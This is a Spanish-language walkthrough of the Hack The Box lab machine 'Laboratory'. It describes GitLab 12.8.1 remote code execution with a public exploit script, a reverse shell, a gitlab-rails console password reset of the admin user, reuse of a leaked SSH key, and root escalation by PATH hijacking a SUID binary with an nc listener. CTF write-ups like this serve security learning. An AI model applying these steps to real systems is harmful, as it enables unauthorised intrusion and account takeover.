Laboratory

https://www.hackthebox.eu/home/machines/profile/298

MΓ‘quina Linux con un servidor apache instalado, contiene un gitlab instalado sobre docker, el cual es vulnerable, se aprovecha cierta vulnerabilidad para realizar ejecuciΓ³n de cΓ³digo remoto para ganar acceso al sistema.

EnumeraciΓ³n

Lo primero es realizar un escaneo con nmap para saber los puertos abiertos y revisar las versiones de los servicios.

AΓ±adimos al archivo /etc/hosts los vhosts encontrados, durante el escaneo de nmap.

Luego, busquΓ© algΓΊn directorio interesante usando gobuster,

Intente buscar dentro de los directorios encontrados con gobuster, pero no encontrΓ© nada ΓΊtil.

Punto de acceso

DespuΓ©s, entre al dominio de git encontrado en el escaneo de nmap. Una vez ahΓ­ intente registrarme con un usuario y me dio acceso. Una vez ahΓ­ dentro, utilice la herramienta burpsuite, para interceptar los paquetes enviados a la pΓ‘gina. No encontrΓ© mucho pero note algo especial sobre una cookie utilizada en los paquetes GET enviados desde la pΓ‘gina. Por ΓΊltimo, revise la versiΓ³n del gitlab en la pΓ‘gina de /help. En este caso la versiΓ³n del gitlab es la 12.8.1.

DespuΓ©s, busque exploits utilizables para la versiΓ³n 12.8.1 de gitlab. Lo que llegue a encontrar fue un exploit utilizando la cookie que encontramos utilizando el burpsuite.

Ejecute el comando "python gitlab_rce.py https://git.laboratory.htb:443/ 10.10.14.24", pero no funcionΓ³. Checando mΓ‘s de fondo el cΓ³digo y el error que devuelve, razone que el cΓ³digo necesitaba loggearse a la pΓ‘gina para poder obtener la versiΓ³n del gitlab para poder funcionar. Entre a editar el cΓ³digo con nano y editΓ© los parΓ‘metros para usuario y contraseΓ±a.

El exploit pide escoger un para la versiΓ³n de gitlab indicada y pidiΓ³ abrir ponernos en escucha en el puerto dinicado. La shell no es interactiva y por lo tanto no se puede visualizar resultados, intentamos abrir una pseudo consola con python3 -c β€œimport pty;pyt.spawn(β€˜/bin/bash’)” pero no fue posible, ni con ruby: exec β€œ/bin/sh”, entre otras formas.

La siguiente instruccion en python permite realizar una reverse shell en desde una sola lΓ­nea con python, previamente debemos de ponernos en escucha para aceptar la conexiΓ³n.

Una vez dentro de la mΓ‘quina, podemos notar que entramos como el usuario git. Trate de buscar dentro de directorios y los archivos accesibles para ver cuΓ‘l podrΓ­a servir para realizar una escalada de privilegios. ProbΓ© buscar tareas programadas, utilizar el comando "grep" con palabras clave como 'password' y 'email'. TambiΓ©n probΓ© enviar un ejecutable llamado LinPEAS, el cual enumera todos los posibles vectores de ataque dentro del sistema. TambiΓ©n tratamos de enviar a la mΓ‘quina una llave generada de ssh propia para poder entrar a travΓ©s de ssh a la mΓ‘quina. Logre enviar el archivo con la llave privada, mΓ‘s sin embargo no me permitiΓ³ acceder a la mΓ‘quina con ssh. No encontrΓ© mucho, pero encontrΓ© varios archivos relacionados a gitlab-rails. TambiΓ©n, cuando empecΓ© a investigar en la pΓ‘gina web principal, se mencionaba a un tal β€œDexter” como CEO de la empresa ficticia. Buscando en internet logrΓ© encontrar el siguiente enlace:

El enlace nos describe cΓ³mo podemos iniciar una consola de gitlab-rails para interactuar con gitlab de la siguiente manera:

  1. gitlab-rails console

  2. user = User.where(id: 1).first

  3. user.password = 'secret_pass'

  4. user.password_confirmation = 'secret_pass'

  5. user.save!

Una vez ejecutados estos comandos, lo que logrΓ© hacer fue cambiar la contraseΓ±a del usuario externo de la aplicaciΓ³n web de gitlab. Paso seguido, nos dirigimos a la pΓ‘gina de gitlab a ingresar con ese usuario,

Dentro del proyecto Secure Docker se encuentra una llave privada del usuario dexter, la cual nos proporciona acceso al servidor.

Para ganar acceso es simple.

  1. Copiamos la llave y guardamos un archivo llamado id_rsa.

  2. Otorgamos permisos 600 al archivo id_rsa.

  3. E indicamos la llama para iniciar con el parΓ‘metro -i.

Con esto realizado, tenemos acceso a la mΓ‘quina a travΓ©s del usuario dexter. Sin embargo, este usuario no tiene permisos root. Lo ΓΊnico que podemos visualizar es la carpeta de home, con un .txt dentro el cual contenΓ­a el flag de user.

Escalada de privilegios

Lo siguiente que hice fue probar maneras de realizar una escalada de privilegios. Intente con el ya mencionado LinPEAS para checar vectores de ataque. No encontrΓ© algo ΓΊtil. DespuΓ©s recordΓ© que dentro del gitlab del usuario dexter, contenΓ­a un .txt el cual mencionaba algo sobre un docker-composer. Paso seguido utilice el comando β€œfind” para buscar cualquier archivo que contenga la palabra docker. No encontre algo util. De ahΓ­, pasΓ© a buscar archivos propietarios de root, pero que el usuario dexter tiene permisos de lectura usando el comando β€œfind / -perm -u=s -type f 2>/dev/null” y encontrΓ© un archivo llamado docker-security con el path /usr/local/bin/docker-security.

Visualice el archivo con el comando β€œcat” y note que utiliza el comando de chmod de manera relativa. Es posible modificar el PATH para que el binario sea ejecutado desde otra ruta.

Con esto tenemos indicios para realizar un path hijacking.

Podemos ver que el binario docker-security tiene permisos SUID, este es un permiso especial que permite que el programa, cuando es ejecutado por cualquier usuario, se ejecute con el UID del propietario, en este caso, root.

Entonces, me dirigΓ­ al directorio de tmp/ y dentro cree un archivo llamado β€œchmod” simulando el comando dentro del binario β€œdocker-security”, y dentro de este archivo agregue una reverse shell con nano. Luego con β€œchmod +x” le otorgue permiso de ejecuciΓ³n al archivo. Una vez hecho esto, ubicado en el directorio donde cree el archivo, el cual es /tmp/, ejecute el comando β€œexport PATH=$(pwd):$PATH”, el cual modifica el PATH asignando al directorio el cual estoy situado como prioridad 1 dentro de la variable PATH.

Finalmente, abro una terminal para ejecutar un β€œnc -vlnp [puerto]”, utilizando el puerto designado dentro de la reverse shell que colocamos dentro del archivo β€œchmod”.

Visualizando la flag de root.

Last updated